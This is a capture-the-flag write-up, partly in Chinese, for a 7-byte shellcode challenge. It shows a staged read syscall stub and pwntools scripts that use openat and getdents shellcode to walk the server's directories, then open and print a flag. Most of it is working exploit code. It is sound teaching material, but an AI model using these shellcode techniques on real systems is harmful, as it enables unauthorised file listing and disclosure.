syscall : getdents & sys_openat
I did not get the flag in the competition …Because I traveled in contrary directions. … binary
This a statically linked binary .
We need to exploit it by 7 byte-shellcode
It sets registers before executing our shellcode
.
And the registers looks like :
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x7fbfb603e000 ◂— xchg rdi, rsi /* 0xf4050ff289f78748 */
RSI 0x0
R8 0x0
R9 0x0
R10 0x0
R11 0x0
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7ffd336c3908 ◂— 0xabadc0defee1dead
RIP 0x56029c8e74c7 ◂— jmp rdi
At the begin, I thought that we can not exploit it by 7 bytes so I tried so many ways to reuse the func by using the data on stack. But …failed
In fact ,we can call sys_read by shellcode like:
exchg rdi,rsi
mov esi,esx
syscall
so we will have enough space for our shellcode. But we can’t locate the flag, there is no libc for us , what we have is shellcode.
I straced ls
:
strace -o ls ls
$ cat ls
...
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
getdents(3, /* 24 entries */, 32768) = 752
getdents(3, /* 0 entries */, 32768) = 0
...
+++ exited with 0 +++
…
int getdents(int fildes, struct dirent *buf, size_t nbyte);
int __openat (int fd, const char *file, int oflag, ...);
…
发现我的英文真烂 真他妈难表达。。。换用中文缓和一下心情。
所以我开始尝试使用257号和78号系统调用来实现定位flag
openat
用于打开目录
按照使用说明设置好寄存器发现成功返回了文件指针
mov ax,0x101
mov rdi,-101
mov rsi,0x67616c662f2e
push rsi
mov rsi,rsp
mov rdx,0
mov r10,0
syscall
getdents
用于读取目录内容使用起来比较容易设置好参数就可以不过比较惨的是返回值需要自己去解析.
看了半天源码解析部分看不太明白,结构体部分还是挺有用的
struct dirent
{
#ifndef __USE_FILE_OFFSET64
__ino_t d_ino;
__off_t d_off;
#else
__ino64_t d_ino;
__off64_t d_off;
#endif
unsigned short int d_reclen;
unsigned char d_type;
char d_name[256]; /* We must not include limits.h! */
};
#ifdef __USE_LARGEFILE64
struct dirent64
{
__ino64_t d_ino;
__off64_t d_off;
unsigned short int d_reclen;
unsigned char d_type;
char d_name[256]; /* We must not include limits.h! */
};
#endif
还有类型的宏定义
enum
{
DT_UNKNOWN = 0,
# define DT_UNKNOWN DT_UNKNOWN
DT_FIFO = 1,
# define DT_FIFO DT_FIFO
DT_CHR = 2,
# define DT_CHR DT_CHR
DT_DIR = 4,
# define DT_DIR DT_DIR
DT_BLK = 6,
# define DT_BLK DT_BLK
DT_REG = 8,
# define DT_REG DT_REG
DT_LNK = 10,
# define DT_LNK DT_LNK
DT_SOCK = 12,
# define DT_SOCK DT_SOCK
DT_WHT = 14
# define DT_WHT DT_WHT
};
于是我就按照上述定义结合结构体去解析返回值 (上述结构体有些地方不准确需要按照实际返回来猜测。。。) 我们需要的是文件夹名和文件名为此我们需要得到
d_reclen(off=0x10)
d_name(off=0x12)
d_type(off=d_reclen-1)
所以尝试遍历目录的解析函数
from pwn import *
def getend(n):
idx=0
for x in n:
if x=='\x00':
return idx
idx+=1
return -1
def getinfo(data):
d=0
while(d<len(data)):
reclen=ord(data[d+0x10])
if reclen == 0:
return
dtype=ord(data[d+reclen-1])
namelen=getend(data[d+0x12:])
if dtype==4 and data[d+0x12:d+0x12+namelen]!="." and data[d+0x12:d+0x12+namelen]!="..":
log.warning("%s",data[d+0x12:d+0x12+namelen])
d+=reclen
所以搞了个辣鸡遍历…
from pwn import *
def getend(n):
idx=0
for x in n:
if x=='\x00':
return idx
idx+=1
return -1
def getinfo(data,flag=0):
d=0
res=[]
f=[]
while(d<len(data)):
reclen=ord(data[d+0x10])
if reclen == 0:
break
dtype=ord(data[d+reclen-1])
namelen=getend(data[d+0x12:])
if dtype==4 and data[d+0x12:d+0x12+namelen]!="." and data[d+0x12:d+0x12+namelen]!="..":
res.append(data[d+0x12:d+0x12+namelen])
#log.warning("DIR:%s",data[d+0x12:d+0x12+namelen])
elif dtype!=4 and data[d+0x12:d+0x12+namelen]!="." and data[d+0x12:d+0x12+namelen]!="..":
f.append(data[d+0x12:d+0x12+namelen])
d+=reclen
return res,f
def push_path(path):
d=0
l=len(path)
path+=(-l%8)*'\x00'
pad='''
mov rsi,{}
push rsi
'''
res=''
while(d<len(path)):
res=pad.format(hex(u64(path[d:d+8])))+res
d+=8
return res
def exp(seek,flag=0):
#context.log_level='debug'
#p=process('./shellcoder')
#gdb.attach(p)
p=remote("139.180.215.222",20002)
context.arch='amd64'
sh='''
xchg rdi,rsi
mov edx,esi
syscall
'''
sh=asm(sh)
p.sendafter(":",sh)
#print push_path("./flag")
#raw_input()
sh='''
mov ax,0x101
mov rdi,-0x64
{}
mov rsi,rsp
mov rdx,0
mov r10,0
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x200
xor rax,rax
mov al,78
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x400
xor rax,rax
mov al,1
syscall
'''.format(push_path(seek))
p.send("\x90"*0x7+asm(sh))
data=p.read()
r,f=getinfo(data,flag)
p.close()
return r,f
def fuck(path):
print path
try:
res,f=exp(path)
if res==[] and "flag" in f:
print "[+]"+path
elif res!=[]:
for x in res:
fuck(path+x+"/")
return
except:
return
fuck("./flag/rrfh/")
Ten Years Later…
I get the path !:./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag
from pwn import *
def getend(n):
idx=0
for x in n:
if x=='\x00':
return idx
idx+=1
return -1
def getinfo(data,flag=0):
d=0
res=[]
f=[]
while(d<len(data)):
reclen=ord(data[d+0x10])
if reclen == 0:
break
dtype=ord(data[d+reclen-1])
namelen=getend(data[d+0x12:])
if dtype==4 and data[d+0x12:d+0x12+namelen]!="." and data[d+0x12:d+0x12+namelen]!="..":
res.append(data[d+0x12:d+0x12+namelen])
elif dtype!=4 and data[d+0x12:d+0x12+namelen]!="." and data[d+0x12:d+0x12+namelen]!="..":
f.append(data[d+0x12:d+0x12+namelen])
d+=reclen
return res,f
def push_path(path):
d=0
l=len(path)
path+=(-l%8)*'\x00'
pad='''
mov rsi,{}
push rsi
'''
res=''
while(d<len(path)):
res=pad.format(hex(u64(path[d:d+8])))+res
d+=8
return res
def exp(seek,flag=0):
#context.log_level='debug'
#p=process('./shellcoder')
#gdb.attach(p)
p=remote("139.180.215.222",20002)
context.arch='amd64'
sh='''
xchg rdi,rsi
mov edx,esi
syscall
'''
sh=asm(sh)
p.sendafter(":",sh)
#print push_path("./flag")
#raw_input()
sh='''
mov ax,0x101
mov rdi,-0x64
{}
mov rsi,rsp
mov rdx,0
mov r10,0
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x200
xor rax,rax
mov al,78
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x400
xor rax,rax
mov al,1
syscall
'''.format(push_path(seek))
p.send("\x90"*0x7+asm(sh))
data=p.read()
p.close()
r,f=getinfo(data,flag)
p.close()
return r,f
def fuck(path):
print path
try:
res,f=exp(path)
#print f
if res==[] and "flag" in f:
log.warning(path)
elif res!=[]:
for x in res:
fuck(path+x+"/flag")
return
except:
return
def exploit(seek,flag=0):
p=remote("139.180.215.222",20002)
context.arch='amd64'
sh='''
xchg rdi,rsi
mov edx,esi
syscall
'''
sh=asm(sh)
p.sendafter(":",sh)
sh='''
mov ax,2
{}
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x30
xor rax,rax
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x30
xor rax,rax
mov al,1
syscall
'''.format(push_path(seek))
p.send("\x90"*0x7+asm(sh))
data=p.read()
p.close()
print data
#fuck("/flag")
exploit("./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag")
#rctf{1h48iegin3egh8dc5ihu}
发现虽然做了挺多shellcode但是脑子还是不太好使…第一部分都过不去虽然第二部分只是纯粹的写爆破代码+shellcode to fetch path …
挺不错的一题挺有意思的。